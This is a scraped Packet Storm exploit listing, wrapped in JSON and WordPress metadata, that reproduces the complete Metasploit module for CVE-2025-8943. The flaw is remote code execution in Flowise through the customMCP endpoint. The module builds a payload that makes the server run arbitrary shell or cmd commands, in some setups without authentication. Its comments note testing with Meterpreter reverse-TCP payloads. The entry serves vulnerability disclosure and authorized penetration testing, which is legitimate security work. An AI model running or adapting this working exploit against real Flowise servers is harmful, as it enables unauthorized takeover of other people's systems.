{“lastseen”:”2025-11-24T16:38:22″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Flowise versions greater than or equal to 2.2.7-patch.1 and less than 3.0.1. The vulnerability exists in the customMCP endpoint \/api\/v1\/node-load-method\/customMCP located in…”,”published”:”2025-11-24T00:00:00″,”modified”:”2025-11-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Flowise Custom MCP Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:211931″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-8943″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Flowise\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Flowise Custom MCP Remote Code Execution’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a remote code execution vulnerability in Flowise versions \\u003e= 2.2.7-patch.1\\n and \\u003c 3.0.1. The vulnerability exists in the customMCP endpoint (\/api\/v1\/node-load-method\/customMCP)\\n located in packages\/components\/nodes\/tools\/MCP\/CustomMCP\/CustomMCP.ts and packages\/components\/nodes\/tools\/MCP\/core.ts,\\n which allows users to execute arbitrary commands via StdioClientTransport by using the ‘x-request-from: internal’ header.\\n When FLOWISE_USERNAME and FLOWISE_PASSWORD are not configured, the exploit works unauthenticated. If Basic Auth is\\n enabled, the FLOWISE_USERNAME and FLOWISE_PASSWORD options must be set to provide credentials.\\n },\\n ‘Author’ =\\u003e [\\n ‘Assaf Levkovich’, # Vulnerability discovery (JFrog)\\n ‘Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-8943’],\\n [‘URL’, ‘https:\/\/research.jfrog.com\/vulnerabilities\/flowise-os-command-remote-code-execution-jfsa-2025-001380578\/’]\\n ],\\n ‘Platform’ =\\u003e %w[unix linux win],\\n ‘Arch’ =\\u003e [ARCH_CMD],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix\/Linux Command’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘DefaultOptions’ =\\u003e {\\n ‘FETCH_COMMAND’ =\\u003e ‘WGET’\\n }\\n # tested with cmd\/linux\/http\/x64\/meterpreter_reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter_reverse_tcp\\n }\\n ]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘DisclosureDate’ =\\u003e ‘2025-08-14’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DefaultOptions’ =\\u003e {\\n ‘RPORT’ =\\u003e 3000\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options([\\n OptString.new(‘FLOWISE_USERNAME’, [false, ‘Flowise username for Basic Auth (required if env var is set)’, ”]),\\n OptString.new(‘FLOWISE_PASSWORD’, [false, ‘Flowise password for Basic Auth (required if env var is set)’, ”])\\n ])\\n end\\n \\n def check\\n version = flowise_get_version\\n return CheckCode::Unknown(‘Could not retrieve Flowise version’) unless version\\n \\n print_status(\\”Flowise version detected: #{version}\\”)\\n \\n # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)\\n # Note: Rex::Version parses \\”2.2.7-patch.1\\” as \\”2.2.7.pre.patch.1\\”, so we check \\u003e= 2.2.7\\n if (version \\u003e= Rex::Version.new(‘2.2.7’) || version.to_s.include?(‘2.2.7’)) \\u0026\\u0026 version \\u003c Rex::Version.new(‘3.0.1’)\\n return CheckCode::Appears(‘(affected: \\u003e= 2.2.7-patch.1 and \\u003c 3.0.1)’)\\n end\\n \\n CheckCode::Safe(\\”Version #{version} is not vulnerable\\”)\\n end\\n \\n def execute_command(cmd, _opts = {})\\n command = ‘sh’\\n args = [‘-c’, cmd]\\n \\n if target.platform.names.include?(‘Windows’)\\n command = ‘cmd’\\n args = [‘\/c’, cmd]\\n end\\n \\n payload_data = {\\n ‘inputs’ =\\u003e {\\n ‘mcpServerConfig’ =\\u003e {\\n ‘command’ =\\u003e command,\\n ‘args’ =\\u003e args\\n }\\n },\\n ‘loadMethod’ =\\u003e ‘listActions’\\n }\\n \\n opts = {\\n username: datastore[‘FLOWISE_USERNAME’],\\n password: datastore[‘FLOWISE_PASSWORD’]\\n }\\n \\n flowise_send_custommcp_request(payload_data, opts)\\n end\\n \\n def exploit\\n fail_with(Failure::PayloadFailed, ‘Failed to run payload’) unless execute_command(payload.encoded)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211931″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211931\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-24T16:38:22″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Flowise versions greater than or equal to 2.2.7-patch.1 and less than 3.0.1. The vulnerability exists…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-27425","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n